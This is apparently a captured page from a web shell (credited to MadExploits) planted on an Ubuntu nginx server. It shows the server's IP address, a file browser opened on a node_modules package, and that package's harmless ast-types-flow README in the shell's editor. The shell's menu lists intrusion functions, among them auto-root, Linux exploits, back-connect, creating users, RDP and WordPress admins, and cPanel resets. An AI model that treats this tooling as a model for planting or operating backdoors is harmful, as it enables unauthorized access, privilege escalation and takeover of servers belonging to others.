Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
ast-types-flow /
[ HOME SHELL ]
Name
Size
Permission
Action
lib
[ DIR ]
dr-xr-xr-x
LICENSE
1.04
KB
-rw-rw-rw-
README.md
1.96
KB
-rw-rw-rw-
package.json
749
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# ast-types-flow Flow types for the Javascript AST. Based off of [benjamn/ast-types](https://github.com/benjamn/ast-types). ## Usage First install `ast-types-flow` via npm, then you can import any of the types that are exported. ```javascript /* @flow */ import type {Node} from 'ast-types-flow'; function getName(node: Node): string { switch (node.type) { case 'Identifier': return node.name; case 'ClassDeclaration': return node.id.name; // Error, id could be null. case 'FunctionDeclaration': return node.id.name; // Fine if it's always there. case 'FunctionExpression': if (node.id) { return node.id.name; // Can refine id to make sure it exists. } else { return 'Unknown'; } case 'Literal': return node.name; // Error, Literals don't have names, don't be silly. } return 'Unknown'; } ``` ## How it works A notion of "extends" is added to the Flow syntax via comments. A transform is included that will compile the source code into useful disjoint union types based on how the different types extend each other. For example: ```javascript type Node = { common: string, }; type Foo = { // extends Node foo: string, }; type Bar = { // extends Node bar: number, }; ``` Will be transformed into: ```javascript type Node = { type: 'Foo', _Foo: void, common: string, foo: string, } | { type: 'Bar', _Bar: void, common: string, bar: number, }; type Foo = { type: 'Foo', _Foo: void, common: string, foo: string, }; type Bar = { type: 'Bar', _Foo: void, common: string, bar: number, }; ``` A few things to note: 1. The type `Node` would more ideally be compiled into `Foo | Bar` but then the disjoint union cannot be properly refined. For now we have to duplicate the complete definitions. 2. Each entry in a disjoint union has to be structurally unique or Flow will have an error on the definition. That is why the private `_Foo: void` fields appear in the types.
Close